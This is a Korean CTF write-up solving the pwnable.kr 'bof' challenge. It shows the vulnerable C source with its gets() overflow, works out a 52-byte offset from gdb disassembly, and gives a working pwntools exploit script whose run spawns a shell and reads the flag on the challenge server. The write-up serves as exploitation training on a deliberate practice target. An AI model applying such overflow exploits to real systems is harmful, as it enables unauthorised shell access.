이번 문제에서는 문제 파일을 따로 제공하고, 서버에 접속하면 프로그램이 바로 실행되는 방식으로 문제를 푼다.
nc pwnable.kr 9000
$ wget http://pwnable.kr/bin/bof
--2023-01-27 09:04:24-- http://pwnable.kr/bin/bof
Resolving pwnable.kr (pwnable.kr)... 128.61.240.205
Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K)
Saving to: ‘bof’
bof 0% 0 --.-KB/s bof 100% 7.18K --.-KB/s in 0s
2023-01-27 09:04:24 (220 MB/s) - ‘bof’ saved [7348/7348]
$ wget http://pwnable.kr/bin/bof.c
--2023-01-27 09:05:50-- http://pwnable.kr/bin/bof.c
Resolving pwnable.kr (pwnable.kr)... 128.61.240.205
Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 308 [text/x-csrc]
Saving to: ‘bof.c’
bof.c 0% 0 --.-KB/s bof.c 100% 308 --.-KB/s in 0s
2023-01-27 09:05:51 (16.8 MB/s) - ‘bof.c’ saved [308/308]
$ ls -al
total 20
drwxrwxr-x 2 magan20 magan20 4096 1월 27 09:05 .
drwxrwxr-x 3 magan20 magan20 4096 1월 27 09:03 ..
-rw-rw-r-- 1 magan20 magan20 7348 5월 16 2019 bof
-rw-rw-r-- 1 magan20 magan20 308 5월 16 2019 bof.c
bof 파일에 실행 권한이 없으므로 실행 권한을 설정한다.
$ chmod +x bof
$ ls -al bof
-rwxrwxr-x 1 magan20 magan20 7348 5월 16 2019 bof
$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
bof 파일은 32bit ELF 파일이다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
bof.c 파일을 확인해보면 func(int key) 함수의 gets() 함수에서 오퍼플로우 취약점이 있는 것을 확인할 수 있다.
gets(overflowme); // smash me!
func(int key) 함수의 조건문에서는 매개변수 key 의 값을 확인해서 값이 맞으면 쉘을 실행시킨다.
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
main() 함수에서 func(int key) 의 인자값을 이미 고정값으로 주어져 있으므로 func() 함수의 gets() 함수를 이용해서 key 의 값을 덮어씌우면 쉘을 획득할 수 있을 것이다.
func(int key) 함수 안에 있는 gets() 함수에서 사용자 입력값은 overflowme 변수로 들어간다.
만약 if 문의 조건문에 사용되는 key 값을 덮어씌울려면 overflowme 와 key 사이의 바이트 수를 구해야 한다.
gef➤ disas main
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
gef➤ disas func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
main 함수의 main+9 어셈블리 코드를 확인하면 func 함수 실행 전 key 값인 0xdeadbeef 가 스택의 맨 위로 들어가는 것을 확인할 수 있다.
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c <func>
func 함수의 func+40 어셈블리 코드를 확인하면 ebp+0x8 에 위치하는 값과 0xcafebabe 를 비교하는 것을 확인할 수 있다.
이것을 보았을 때 key 의 위치는 func 함수 실행 중 ebp+8 인 것을 알 수 있다.
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
bof.c 를 보면 조건문 바로 위에서 gets() 함수를 실행하는 것을 볼 수 있는데 이것을 봤을 때 func+35 어셈블리 코드가 gets() 함수 실행 코드인 것을 확인할 수 있다.
gets() 함수 실행 전 eax 레지스터에 ebp-0x2c 의 주소가 들어가고, 다시 eax 값이 스택으로 들어가서 gets() 함수의 인자값으로 사용되므로 overflowme 변수의 위치는 ebp-0x2c 인 것을 알 수 있다.
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
overflowme 위치 : ebp-0x2c
overflowme 와 key 사이의 바이트 수 : ebp + 0x8 - (ebp - 0x2c) = 0x34 = 52
from pwn import *
p = process("./bof")
payload = b""
payload += b"A"*52
payload += p32(0xcafebabe)
p.recvuntil(b"me : ")
p.send(payload)
p.interactive()
$ python3 payload.py
[+] Starting local process './bof': pid 908576
[*] Switching to interactive mode
$ id
$ id
uid=1000(magan20) gid=1000(magan20) groups=1000(magan20),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
$
from pwn import *
#p = process("./bof")
p = remote("pwnable.kr", 9000)
payload = b""
payload += b"A"*52
payload += p32(0xcafebabe)
#p.recvuntil(b"me : ")
p.sendline(payload)
p.interactive()
$ python3 payload.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
$ ls -al
total 32
drwxr-x--- 3 root bof 4096 Dec 25 01:48 .
drwxr-xr-x 117 root root 4096 Nov 10 02:06 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-xr-x--- 1 root bof 7348 Sep 12 2016 bof
-rw-r--r-- 1 root root 308 Oct 23 2016 bof.c
-r--r----- 1 root bof 32 Jun 11 2014 flag
-rw-r--r-- 1 root root 0 Dec 25 01:48 log
-rwx------ 1 root root 760 Sep 11 2014 super.pl
$ cat flag
daddy, I just pwned a buFFer :)
$